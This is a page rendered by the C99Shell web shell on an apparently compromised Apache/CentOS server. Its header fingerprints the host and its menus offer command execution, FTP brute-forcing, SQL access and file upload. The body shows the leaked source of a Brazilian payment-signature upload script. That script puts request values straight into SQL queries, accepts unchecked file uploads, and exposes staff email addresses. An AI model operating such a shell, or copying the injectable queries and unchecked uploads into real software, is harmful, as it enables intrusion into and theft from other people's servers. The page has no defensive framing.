!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/contas/activex/   drwxr-xr-x
Free 9.32 GB of 93.48 GB (9.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     processa_upload.php (29.72 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
//Recebe dados do sistema ActiveX
    
include("../../../config/config.php");
    include(
INCLUDES "inc_Funcoes.php");
    include(
INCLUDES "inc_Conexao.php");
   
/*
    ?>
    <script language="javascript">
        window.close();
    </script>

    <?php
   */
    
function lista_array($array,$inicio=""
    {
        
$retorno "";
        
reset($array);
        while (list(
$campo,$valor) = each($array)) {
            if (
is_array($valor)) {
                
$retorno .= "$inicio [$campo] => Array\n";
                
$retorno .= lista_array($valor,$inicio.".. ");
            }
            else
                
$retorno .= "$inicio [$campo] => $valor\n";
        }
        return 
$retorno;
    }

    @
unlink("comunicacoes/retornos.txt");
    
$fp_log fopen("comunicacoes/retornos.txt","w+");
    
fwrite($fp_log,"GET\n".lista_array($_GET)."\n--------------------\n");
    
fwrite($fp_log,"POST\n".lista_array($_POST)."\n--------------------\n");
    
fwrite($fp_log,"FILES\n".lista_array($_FILES)."\n--------------------\n");

    
fwrite($fp_log,"\n\n MEU TESTE MARCIO - NETNIGRO \n\n");

   
    
$pagina =$_SERVER['PHP_SELF'];
        
fwrite($fp_log,"pagina\n".$pagina."\n--------------------\n");


    
//$_FILES['arquivo_assinado']['name']="Repasse_10061706.CSV";
    //$_POST['NomeArquivo']="Repasse_10061706.CSV";
    
if ($_FILES['arquivo_assinado']['name'] != "") {

        
//die("1");
        
$nome_original             $_FILES['arquivo_assinado']['name'];
        
$path                     "repasses/";



        
$acao                     $_POST['Acao'];
        
$id_usuario             $_POST['IdUsuario'];
        
$id_repasse_conferencia $_POST['IdRepasseConferencia'];
        
$ValorTotal             $_POST['ValorTotal'];
        
$nome_arquivo           $_POST['NomeArquivo'];
        
fwrite($fp_log,"contas=".$_POST['Contas']."\n\n");
        
$contas                 explode(',',$_POST['Contas']);




        
$NomeArquivo $_POST['NomeArquivo'];

        
fwrite($fp_log,"nome_original = $nome_original\n\n");
        
fwrite($fp_log,"path = $path\n\n");
        
fwrite($fp_log,"Acao=$acao\n\n");
        
fwrite($fp_log,"id_usuario=$id_usuario\n\n");
        
fwrite($fp_log,"só possui esse na coassinatura id_repasse_conferencia=$id_repasse_conferencia\n\n");
        
fwrite($fp_log,"Contas = $contas\n\n");
        
fwrite($fp_log,"NomeArquivo = $nome_arquivo\n\n");
        
fwrite($fp_log,"ValorTotal = $ValorTotal\n\n");

        if (
$acao == "Assinar") {
            
fwrite($fp_log,"Upload de arquivo...\n");
            
fwrite($fp_log,"Entrou no assinarrrrrrrrrr...\n");

            if (
move_uploaded_file($_FILES['arquivo_assinado']['tmp_name'],$path.$nome_original)) {
              
//fwrite($fp_log,"Entrou no if 01\n");

              //********** SE O ARQUIVO NÃO EXISTIR GRAVA REGISTRO NA TABELA FUN_ArquivoAssinadoContas **********//
              //********** SE O ARQUIVO NÃO EXISTIR GRAVA REGISTRO NA TABELA FUN_ArquivoAssinadoContas **********//




                
$arquivoAssinado->ACO_RowID="";
                
$arquivoAssinado->ACO_NomeArquivo=$nome_arquivo;
                
$arquivoAssinado->ACO_Completou_AssinaturasSN='N';
                
$arquivoAssinado->ACO_SituacaoLB="B";


                
mysql_query("BEGIN");

                if (
salva("FUN_ArquivoAssinadoContas",$arquivoAssinado)) {
                  
//fwrite($fp_log,"Entrou no if 02\n");
                    
$erro false;
                    
$id_repasse_conf mysql_insert_id();

                } else {
                  
//fwrite($fp_log,"Entrou no if 03\n");
                
$erro true;
                    echo 
mysql_error();
                    
fwrite($fp_log,mysql_error()."\n");
                }

              
//********* FIM SE O ARQUIVO NÃO EXISTIR GRAVA REGISTRO NA TABELA FUN_ArquivoAssinadoContas **********//
              //********* FIM SE O ARQUIVO NÃO EXISTIR GRAVA REGISTRO NA TABELA FUN_ArquivoAssinadoContas **********//


                
foreach($contas as $valor2){
                  
$contasInternas->CON_RowID=$valor2;
                  
$contasInternas->CON_ArquivoAssinado_DR=$id_repasse_conf ;
                  if (
salva("FUN_ContasInternas",$contasInternas)) {
                        
$erro false;
                    } else {
                        
$erro true;
                        echo 
mysql_error();
                        
fwrite($fp_log,mysql_error()."\n");
                    }
                }


                
$PagamentoSinteticoAssinado->RSA_RowID='';
                
$PagamentoSinteticoAssinado->RSA_DataHoraAssinatura=date('Y-m-d H:i:s');
                
$PagamentoSinteticoAssinado->RSA_Assinaturas_DR=$id_usuario;
                
$PagamentoSinteticoAssinado->RSA_ValorTotal=$ValorTotal;
                
$PagamentoSinteticoAssinado->RSA_ArquivoAssinado_DR=$id_repasse_conf;


                if (
salva("FUN_PagamentoSinteticoAssinado",$PagamentoSinteticoAssinado)) {
                    
$erro false;
                } else {
                    
$erro true;
                      echo 
mysql_error();
                }



                
//Insere o arquivo do repasse
                
fwrite($fp_log,"$path $nome_original\n\n");
                
fwrite($fp_log,"MOVEU O ARQUIVO...\n");

                
$arquivo_nao_assinado str_replace('.p7s','',$nome_original);
                
$arquivo_html str_replace('CSV','HTML',$arquivo_nao_assinado);
                
$conteudo_html file_get_contents($path.$arquivo_html);


                
fwrite($fp_log,"arquivo_nao_assinado=$arquivo_nao_assinado\n\n");
                
fwrite($fp_log,"arquivo_html=$arquivo_html\n\n");

                   
fwrite($fp_log,$sql."\n\n");


                if (!
$erro) {
//**********************ENVIA E-MAIL PARA O USUARIO QUE ASSINOU O ARQUIVO*********************************//
//**********************ENVIA E-MAIL PARA O USUARIO QUE ASSINOU O ARQUIVO*********************************//

                    
$sql "SELECT
                            ASC_RowID,
                            ASC_Nome,
                            ASC_Contato_DR,
                            ASC_NivelContas_DR,
                            ANC_ProxNivel,
                            CON_Email
                            FROM FUN_Assinaturas_Contas
                            INNER JOIN FUN_AssinaturaNivel_Contas on ASC_NivelContas_DR=ANC_RowID
                            LEFT JOIN contatos ON CON_RowID = ASC_Contato_DR
                            WHERE ASC_Contato_DR=
$id_usuario LIMIT 1";



                    
fwrite($fp_log,$sql."\n\n");


                    
$dados_usuario          mysql_fetch_assoc(mysql_query($sql));
                    
$nome_usuario           $dados_usuario['ASC_Nome'];
                    
$email_usuario          $dados_usuario['CON_Email'];
                    
$ASC_NivelContas_DR     $dados_usuario['ASC_NivelContas_DR'];
                    
$ANC_ProxNivel          $dados_usuario['ANC_ProxNivel'];
                    
//$repasse_aprova = $dados_usuario['CON_RepassesAprova'];

                   //$path $nome_original
                    
if (filesize($path.$nome_original)>0) {
                        
$fp_arq_ass fopen($path.$nome_original,'r');
                        
$conteudo fread($fp_arq_ass,filesize($path.$nome_original));
                        
$conteudo chunk_split(base64_encode($conteudo));
                        
fclose($fp_arq_ass);
                    }
                    else
                        
$conteudo chunk_split(base64_encode(""));


                    
$assunto "Confirmação de Aprovação para Pagamento de contas internas do IRPEN";

                    
$headers  "From: IRPEN - ASSINATURA DIGITAL <contato@arpenpr.org.br>\n";
                    
$headers .= "MIME-version: 1.0\n";
                    
$headers .= "Content-type: multipart/mixed; ";
                    
$headers .= "boundary=\"Message-Boundary\"\n";
                    
$headers .= "Content-transfer-encoding: 7BIT\n";
                    
$headers .= "X-attachments: $nome_original";
                    
$headers .= "Bcc : oscar@roko.com.br\n";

                    
$body_top  "--Message-Boundary\n";
                    
$body_top .= "Content-type: text/plain; charset=US-ASCII\n";
                    
$body_top .= "Content-transfer-encoding: 7BIT\n";
                    
$body_top .= "Content-description: Mail message body\n\n";

                    
$msg_body $body_top;
                    
$msg_body .= utf8_encode("Ola $nome_usuario, \n\n \n\n".
                                
//"NA VERDADE VAI SER ENVIADO PARA ESTE E-MAIL QUANDO ESTIVER EM PRODUCAO PARA $email_usuario  \n\n \n\n".
                                
"Confirmamos vossa aprovacao digital para o arquivo \n".
                                  
"$nome_original \n\n".
                                  
"Agradecemos a atencao,\n\n".
                                
"IRPEN");

                    
$msg_body .= "\n\n--Message-Boundary\n";
                    
$msg_body .= "Content-type: CSV; name=\"$nome_original\"\n";
                    
$msg_body .= "Content-Transfer-Encoding: BASE64\n";
                    
$msg_body .= "Content-disposition: attachment; filename=\"$nome_original\"\n\n";
                    
$msg_body .= "$conteudo\n";
                    
$msg_body .= "--Message-Boundary--\n";
                    
                    
mail("diegues@netnigro.com.br",$assunto ,$msg_body,$headers);
                    
//mail("desenv.assinaturadigital-contas@netnigro.com.br",$assunto ,$msg_body,$headers);
                    //mail($email_usuario,$assunto,$msg_body,$headers);
                    //mail("marcio@netnigro.com.br",$assunto . "(Para: $email_usuario)",$msg_body,$headers);


//*************************FIM ENVIA E-MAIL PARA O USUARIO QUE ASSINOU O ARQUIVO*************************************//
//*************************FIM ENVIA E-MAIL PARA O USUARIO QUE ASSINOU O ARQUIVO*************************************//



//************************* ENVIA EMAIL PARA OS PROXIMOS QUE PODEM ASSINAR ******************************************//
//************************* ENVIA EMAIL PARA OS PROXIMOS QUE PODEM ASSINAR ******************************************//

                        
$sql "SELECT ASC_Contato_DR,ASC_Nome,CON_Email
                                FROM contatos
                                INNER JOIN FUN_Assinaturas_Contas ON ASC_Contato_DR = CON_RowID
                                WHERE ASC_NivelContas_DR=
$ANC_ProxNivel";



                        
$rs_prox mysql_query($sql);
                        
$existe mysql_fetch_row($rs_prox);

                                    
//SE POSSUIR PROXIMOS PARA ENVIAR
                        
if ($existe)
                        {

                           
fwrite($fp_log,"entrou \n\n");
                            if (
filesize($path.$nome_original)>0) {
                                
$fp_arq_ass fopen($path.$nome_original,'r');
                                
$conteudo fread($fp_arq_ass,filesize($path.$nome_original));
                                
$conteudo chunk_split(base64_encode($conteudo));
                                
fclose($fp_arq_ass);
                            }
                            else
                                
$conteudo chunk_split(base64_encode(""));

                            
$res mysql_query($sql);
                            while (
$prox_assinador mysql_fetch_assoc($res))
                            {
                                
$prox_nome  =   $prox_assinador['ASC_Nome'];
                                
$prox_email =   $prox_assinador['CON_Email'];

                                
$assunto "Solicitação de Aprovação Digital das CONTAS INTERNAS do IRPEN";

                                
$headers  "From: IRPEN - ASSINATURA DIGITAL <contato@arpenpr.org.br>\n";
                                
$headers .= "MIME-version: 1.0\n";
                                
$headers .= "Content-type: multipart/mixed; ";
                                
$headers .= "boundary=\"Message-Boundary\"\n";
                                
$headers .= "Content-transfer-encoding: 7BIT\n";
                                
$headers .= "X-attachments: $nome_original";
                                
$headers .= "Bcc : oscar@roko.com.br\n";

                                
$body_top  "--Message-Boundary\n";
                                
$body_top .= "Content-type: text/plain; charset=US-ASCII\n";
                                
$body_top .= "Content-transfer-encoding: 7BIT\n";
                                
$body_top .= "Content-description: Mail message body\n\n";

                                
$msg_body $body_top;
                                
$msg_body .= utf8_encode("Ola $prox_nome, \n\n \n\n".
                                             
//"na verdade esse email deveria ir pra $prox_email  \n \n\n \n\n".
                                             
"Informamos que $nome_usuario realizou a assinatura digital \n".
                                             
"do arquivo $nome_original. \n".
                                             
"IRPEN");

                                
$msg_body .= "\n\n--Message-Boundary\n";
                                
$msg_body .= "Content-type: CSV; name=\"$nome_original\"\n";
                                
$msg_body .= "Content-Transfer-Encoding: BASE64\n";
                                
$msg_body .= "Content-disposition: attachment; filename=\"$nome_original\"\n\n";
                                
$msg_body .= "$conteudo\n";
                                
$msg_body .= "--Message-Boundary--\n";
                                
                                
$erro $erro or (!mail("oscar@roko.com.br",$assunto,$msg_body,$headers));
                                
//$erro = $erro or (!mail("desenv.assinaturadigital-contas@netnigro.com.br",$assunto,$msg_body,$headers));
                                //$erro = $erro or (!mail($email,$assunto,$msg_body,$headers));
                                //$erro = $erro or (!mail("marcio@netnigro.com.br",$assunto." (Para:$email)",$msg_body,$headers));
                                //$erro = !mail("digital@netnigro.com.br",$assunto,$msg_body,$headers);

                            
}
                        }

//************************* FIM DO ENVIA EMAIL PARA OS PROXIMOS QUE PODEM ASSINAR ******************************************//
//************************* FIM DO ENVIA EMAIL PARA OS PROXIMOS QUE PODEM ASSINAR ******************************************//


                
}

                if (!
$erro) {
                    
mysql_query("COMMIT WORK");
                    echo 
"OK";
                }
                else {
                    
mysql_query("ROLLBACK");
                     echo 
"ERRO";
                }
            }
            else {
                
fwrite($fp_log,"ERRO move_uploaded_file...\n\n");
                echo 
"ERRO";
            }
        }
        else {
//*************************************************** EFETUA A CO-ASSINATURA  ********************************************//
//*************************************************** EFETUA A CO-ASSINATURA  ********************************************//

//*************************************************** RENOMEIA ARQUIVO DA COASSINATURA ***********************************//
//*************************************************** RENOMEIA ARQUIVO DA COASSINATURA ***********************************//
            
fwrite($fp_log,"entrou na co assinatura\n\n");



            
//Salva o arquivo, renomeando o anterior para NOME-$qtd_arquivos_atual
            
$arquivo_nao_assinado str_replace('.p7s','',$nome_original);

            
//Checa quantos arquivos existem neste repasse
            
fwrite($fp_log,"arquivo_nao_assinado=$arquivo_nao_assinado\n\n");
            
$qtd 0;
            
$nome_novo $nome_original;
                
fwrite($fp_log,"nome_novo=$nome_novo\n\n");


            while (
file_exists($path.$nome_novo)) {
                
$qtd++;
                
$nome_novo str_replace('.CSV','.CSV-'.$qtd,$nome_original);
             
fwrite($fp_log,"nome_novo=$nome_novo\n\n");
            }
            
rename($path.$nome_original,$path.$nome_novo);

//*************************************************** FIM RENOMEIA ARQUIVO DA COASSINATURA ********************************//
//*************************************************** FIM RENOMEIA ARQUIVO DA COASSINATURA ********************************//


            
fwrite($fp_log,"Upload de arquivo...\n");
            if (
move_uploaded_file($_FILES['arquivo_assinado']['tmp_name'],$path.$nome_original)) {


                
/*
                //PEGA OS DADOS DO USUARIO QUE ESTA FAZENDO A ASSINATURA
                $sql = "select ASS_Contato_DR,
                ASS_Nome,
                ASS_RowID,
                ASN_Quantidade,
                ASS_Nivel_DR
                from CON_Assinaturas
                INNER JOIN CON_AssinaturaNivel ON ASS_Nivel_DR=ASN_RowID
                where ASS_Contato_DR=".$id_usuario;

                $rs = mysql_query($sql);
                $dados_usuario = mysql_fetch_assoc($rs);


                fwrite($fp_log,$sql."\n\n");
                */
                //PEGA AS VARIAVEIS QUE VIERAM DO ACTIVEX
                
$nome_original             $_FILES['arquivo_assinado']['name'];
                
$path                     "repasses/";



                
$acao                     $_POST['Acao'];
                
$id_usuario             $_POST['IdUsuario'];
                
$id_repasse_conferencia $_POST['IdRepasseConferencia'];
                
$ValorTotal             $_POST['ValorTotal'];
                
$nome_arquivo           $_POST['NomeArquivo'];
                
fwrite($fp_log,"contas=".$_POST['Contas']."\n\n");
                
$contas                 explode(',',$_POST['Contas']);




                
$NomeArquivo $_POST['NomeArquivo'];

                
fwrite($fp_log,"Acao=$acao\n\n");
                
fwrite($fp_log,"id_usuario=$id_usuario\n\n");
                
fwrite($fp_log,"só possui esse na coassinatura id_repasse_conferencia=$id_repasse_conferencia\n\n");
                
fwrite($fp_log,"Contas = $contas\n\n");
                
fwrite($fp_log,"NomeArquivo = $nome_arquivo\n\n");
                
fwrite($fp_log,"ValorTotal = $ValorTotal\n\n");


                
fwrite($fp_log,"Id_ArquivoAssinado $id_repasse_conferencia\n\n");
                
mysql_query("BEGIN");
                
//*************************************************** FAZ O INSERT DA NOVA ASSINATURA ***********************************//
//*************************************************** FAZ O INSERT DA NOVA ASSINATURA ***********************************//


                //VERRIFICA SE É O ULTIMO QUE ESTA ASSINANDO SE FOR SETA O ARQUIVO COMO COMPLETOU ASSINATURAS
                 
mysql_query("BEGIN");


                 
$sql_total="SELECT sum(ANC_Quantidade)as total_assinadores
                    FROM FUN_AssinaturaNivel_Contas
                    WHERE ANC_AtivoSN='S'"
;

                 
$rs_total  mysql_query($sql_total);
                 
$rst_total mysql_fetch_assoc($rs_total);
                 
$total_assinadores =$rst_total['total_assinadores'];
                 
fwrite($fp_log,"total assinadores ".$total_assinadores."\n");

                 
$sql_total_assinados="
                  SELECT count(RSA_Assinaturas_DR)as total_assinados
                  FROM FUN_PagamentoSinteticoAssinado
                  WHERE RSA_ArquivoAssinado_DR='
$id_repasse_conferencia'";

                 
$rs_total_assinados    mysql_query($sql_total_assinados);
                 
$rst_total_assinados   mysql_fetch_assoc($rs_total_assinados);
                 
$total_assinados       =$rst_total_assinados['total_assinados'];
                 
fwrite($fp_log,"total_assinados ".$total_assinados."\n");

                
//aqui é total assinadores -1 porque a ultima assinatura esta acontecendo agora.
                
if($total_assinados==($total_assinadores-1)){
                    
$ACO_Completou_AssinaturasSN='S';
                }else{
                    
$ACO_Completou_AssinaturasSN='N';
                }

                
//FIM VERRIFICA SE É O ULTIMO QUE ESTA ASSINANDO SE FOR SETA O ARQUIVO COMO COMPLETOU ASSINATURAS

                
$arquivoAssinado->ACO_RowID=$id_repasse_conferencia;
                
$arquivoAssinado->ACO_NomeArquivo=$nome_arquivo;
                
$arquivoAssinado->ACO_Completou_AssinaturasSN=$ACO_Completou_AssinaturasSN;
                
$arquivoAssinado->ACO_SituacaoLB="B";

                if (
salva("FUN_ArquivoAssinadoContas",$arquivoAssinado)) {
                    
$erro false;
                    
$id_repasse_conf mysql_insert_id();

                } else {
                
$erro true;
                    echo 
mysql_error();
                    
fwrite($fp_log,mysql_error()."\n");
                }




                
$PagamentoSinteticoAssinado->RSA_RowID='';
                
$PagamentoSinteticoAssinado->RSA_DataHoraAssinatura=date('Y-m-d H:i:s');
                
$PagamentoSinteticoAssinado->RSA_Assinaturas_DR=$id_usuario;
                
$PagamentoSinteticoAssinado->RSA_ValorTotal=$ValorTotal;
                
$PagamentoSinteticoAssinado->RSA_ArquivoAssinado_DR=$id_repasse_conferencia;


                if (
salva("FUN_PagamentoSinteticoAssinado",$PagamentoSinteticoAssinado)) {
                    
$erro false;
                } else {
                    
$erro true;
                      echo 
mysql_error();
                    
fwrite($fp_log,mysql_error()."\n");
                }


//*************************************************** FIM FAZ O INSERT DA NOVA ASSINATURA *********************************//
//*************************************************** FIM FAZ O INSERT DA NOVA ASSINATURA *********************************//

                
if (!$erro) {

//**********************ENVIA E-MAIL PARA O USUARIO QUE CO-ASSINOU O ARQUIVO*********************************//
//**********************ENVIA E-MAIL PARA O USUARIO QUE CO-ASSINOU O ARQUIVO*********************************//

                   
$sql_usu "SELECT
                            ASC_RowID,
                            ASC_Nome,
                            ASC_Contato_DR,
                            ASC_NivelContas_DR,
                            ANC_ProxNivel,
                            CON_Email
                            FROM FUN_Assinaturas_Contas
                            INNER JOIN FUN_AssinaturaNivel_Contas on ASC_NivelContas_DR=ANC_RowID
                            INNER JOIN contatos ON CON_RowID = ASC_Contato_DR
                            WHERE ASC_Contato_DR=
$id_usuario LIMIT 1";



                    
fwrite($fp_log,$sql."\n\n");


                    
$dados_usuario          mysql_fetch_assoc(mysql_query($sql_usu));
                    
$nome_usuario           $dados_usuario['ASC_Nome'];
                    
$email_usuario          $dados_usuario['CON_Email'];
                    
$ASC_NivelContas_DR     $dados_usuario['ASC_NivelContas_DR'];
                    
$ANC_ProxNivel          $dados_usuario['ANC_ProxNivel'];
                    
//$repasse_aprova = $dados_usuario['CON_RepassesAprova'];

                    //$path $nome_original
                    
if (filesize($path.$nome_original)>0) {
                        
$fp_arq_ass fopen($path.$nome_original,'r');
                        
$conteudo fread($fp_arq_ass,filesize($path.$nome_original));
                        
$conteudo chunk_split(base64_encode($conteudo));
                        
fclose($fp_arq_ass);
                    }
                    else
                        
$conteudo chunk_split(base64_encode(""));


                    
$assunto "Confirmação de Aprovação para Pagamento de contas internas do IRPEN";

                    
$headers  "From: IRPEN - ASSINATURA DIGITAL - TESTE <contato@arpenpr.org.br>\n";
                    
$headers .= "MIME-version: 1.0\n";
                    
$headers .= "Content-type: multipart/mixed; ";
                    
$headers .= "boundary=\"Message-Boundary\"\n";
                    
$headers .= "Content-transfer-encoding: 7BIT\n";
                    
$headers .= "X-attachments: $nome_original";
                    
$headers .= "Bcc : oscar@roko.com.br\n";

                    
$body_top  "--Message-Boundary\n";
                    
$body_top .= "Content-type: text/plain; charset=US-ASCII\n";
                    
$body_top .= "Content-transfer-encoding: 7BIT\n";
                    
$body_top .= "Content-description: Mail message body\n\n";

                    
$msg_body $body_top;
                    
$msg_body .= utf8_encode("Ola $nome_usuario, \n\n \n\n".
                                
//"NA VERDADE VAI SER ENVIADO PARA ESTE E-MAIL QUANDO ESTIVER EM PRODUCAO PARA $email_usuario  \n\n \n\n".
                                
"Confirmamos vossa aprovacao digital para o arquivo \n".
                                  
"$nome_original \n\n".
                                  
"Agradecemos a atencao,\n\n".
                                
"IRPEN");

                    
$msg_body .= "\n\n--Message-Boundary\n";
                    
$msg_body .= "Content-type: CSV; name=\"$nome_original\"\n";
                    
$msg_body .= "Content-Transfer-Encoding: BASE64\n";
                    
$msg_body .= "Content-disposition: attachment; filename=\"$nome_original\"\n\n";
                    
$msg_body .= "$conteudo\n";
                    
$msg_body .= "--Message-Boundary--\n";
                    
                    
mail("diegues@netnigro.com.br",$assunto ,$msg_body,$headers);
                    
//mail("desenv.assinaturadigital-contas@netnigro.com.br",$assunto ,$msg_body,$headers);
                    //mail($email_usuario,$assunto,$msg_body,$headers);
                    //mail("marcio@netnigro.com.br",$assunto . "(Para: $email_usuario)",$msg_body,$headers);


//********************** FIM DO ENVIA E-MAIL PARA O USUARIO QUE CO-ASSINOU O ARQUIVO*********************************//
//********************** FIM DO ENVIA E-MAIL PARA O USUARIO QUE CO-ASSINOU O ARQUIVO*********************************//



//********************** ENVIA E-MAIL PARA OS PRÓXIMOS USUÁRIO QUE PODEM ASSINAR O ARQUIVO ****************************//
//********************** ENVIA E-MAIL PARA OS PRÓXIMOS USUÁRIO QUE PODEM ASSINAR O ARQUIVO ****************************//

                    
$sql "SELECT ASC_Contato_DR,ASC_Nome,CON_Email
                                FROM contatos
                                INNER JOIN FUN_Assinaturas_Contas ON ASC_Contato_DR = CON_RowID
                                WHERE ASC_NivelContas_DR=
$ANC_ProxNivel";



                        
fwrite($fp_log,"DEMAIS CONTATOS PARA ONDE SERA ENVIADO O EMAIL $sql\n\n");

                        
$rs_prox mysql_query($sql);
                        
$existe mysql_fetch_row($rs_prox);


                         
fwrite($fp_log,"EXISTE: $existe \n\n");

                          
/*
                         $sql_usu = "SELECT
                            ASC_RowID,
                            ASC_Nome,
                            ASC_Contato_DR,
                            ASC_NivelContas_DR,
                            ANC_ProxNivel,
                            CON_EmailFundo
                            FROM FUN_Assinaturas_Contas
                            INNER JOIN FUN_AssinaturaNivel_Contas on ASC_NivelContas_DR=ANC_RowID
                            INNER JOIN FUN_Contatos ON CON_RowID = ASC_Contato_DR
                            WHERE ASC_Contato_DR=$id_usuario LIMIT 1";



                            fwrite($fp_log,"---->".$sql_usu."\n\n");


                            $rst_usu                = mysql_fetch_assoc(mysql_query($sql_usu));
                            $nome_usuario           = $rst_usu['ASC_Nome'];
                            $email_usuario          = $rst_usu['CON_EmailFundo'];
                            $ASC_NivelContas_DR     = $rst_usu['ASC_NivelContas_DR'];
                            $ANC_ProxNivel          = $rst_usu['ANC_ProxNivel'];

                          */



                         //SE POSSUIR PROXIMOS PARA ENVIAR e o proximo nivel for diferente do atual
                        
fwrite($fp_log,"nivel dr: $ASC_NivelContas_DR \n\n");
                        
fwrite($fp_log,"prox nivel: $ANC_ProxNivel \n\n");
                        if (
$ASC_NivelContas_DR!=$ANC_ProxNivel)
                        {

                           
fwrite($fp_log,"entrou \n\n");
                            if (
filesize($path.$nome_original)>0) {
                                
$fp_arq_ass fopen($path.$nome_original,'r');
                                
$conteudo fread($fp_arq_ass,filesize($path.$nome_original));
                                
$conteudo chunk_split(base64_encode($conteudo));
                                
fclose($fp_arq_ass);
                            }
                            else
                                
$conteudo chunk_split(base64_encode(""));

                            
$res mysql_query($sql);
                            while (
$prox_assinador mysql_fetch_assoc($res))
                            {
                                
$prox_nome  =   $prox_assinador['ASC_Nome'];
                                
$prox_email =   $prox_assinador['CON_Email'];

                                
$assunto "Solicitação de Aprovação Digital das CONTAS INTERNAS do IRPEN";

                                
$headers  "From: IRPEN - ASSINATURA DIGITAL <contato@arpenpr.org.br>\n";
                                
$headers .= "MIME-version: 1.0\n";
                                
$headers .= "Content-type: multipart/mixed; ";
                                
$headers .= "boundary=\"Message-Boundary\"\n";
                                
$headers .= "Content-transfer-encoding: 7BIT\n";
                                
$headers .= "X-attachments: $nome_original";
                                
$headers .= "Bcc : oscar@roko.com.br\n";

                                
$body_top  "--Message-Boundary\n";
                                
$body_top .= "Content-type: text/plain; charset=US-ASCII\n";
                                
$body_top .= "Content-transfer-encoding: 7BIT\n";
                                
$body_top .= "Content-description: Mail message body\n\n";

                                
$msg_body $body_top;
                                
$msg_body .= utf8_encode("Ola $prox_nome, \n\n \n\n".
                                             
//"na verdade esse email deveria ir pra $prox_email  \n \n\n \n\n".
                                             
"Informamos que $nome_usuario realizou a assinatura digital \n".
                                             
"do arquivo $nome_original. \n".
                                             
"IRPEN");

                                
$msg_body .= "\n\n--Message-Boundary\n";
                                
$msg_body .= "Content-type: CSV; name=\"$nome_original\"\n";
                                
$msg_body .= "Content-Transfer-Encoding: BASE64\n";
                                
$msg_body .= "Content-disposition: attachment; filename=\"$nome_original\"\n\n";
                                
$msg_body .= "$conteudo\n";
                                
$msg_body .= "--Message-Boundary--\n";
                                
                                
$erro $erro or (!mail("oscar@roko.com.br",$assunto,$msg_body,$headers));
                                
//$erro = $erro or (!mail("desenv.assinaturadigital-contas@netnigro.com.br",$assunto,$msg_body,$headers));
                                //$erro = $erro or (!mail($email,$assunto,$msg_body,$headers));
                                //$erro = $erro or (!mail("marcio@netnigro.com.br",$assunto." (Para:$email)",$msg_body,$headers));
                                //$erro = !mail("digital@netnigro.com.br",$assunto,$msg_body,$headers);

                            
}
                        }
                        ELSE
                        {
                              
fwrite($fp_log,"NAO ENTROU\n\n");


                        }
                }
               
fwrite($fp_log,"ERRO: ".$erro."\n\n");
                if (!
$erro) {




                    
fwrite($fp_log,"FEZ COMMIT \n\n");
                    
mysql_query("COMMIT WORK");
                    echo 
"OK";

                    echo 
"<script language='javascript'>\n";

                    echo 
"ALERT('asdfsadaaaaaaaaaaaaaaaa');\n";
                    echo 
"</script>\n";


                }
                else {
                    
fwrite($fp_log,"FEZ ROOLBACK \n\n");
                    
mysql_query("ROLLBACK");
                     echo 
"ERRO";
                }
            }
        }
//*************************************************** FIM DA  CO-ASSINATURA  ********************************************//
//*************************************************** FIM DA  CO-ASSINATURA  ********************************************//


    
}
    
//die("--2");
    
fwrite($fp_log,"FIM\n");
    
    
fclose($fp_log);
?>
<script language="javascript">
    window.opener.location.href = "conta_lista.php";
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0053 ]--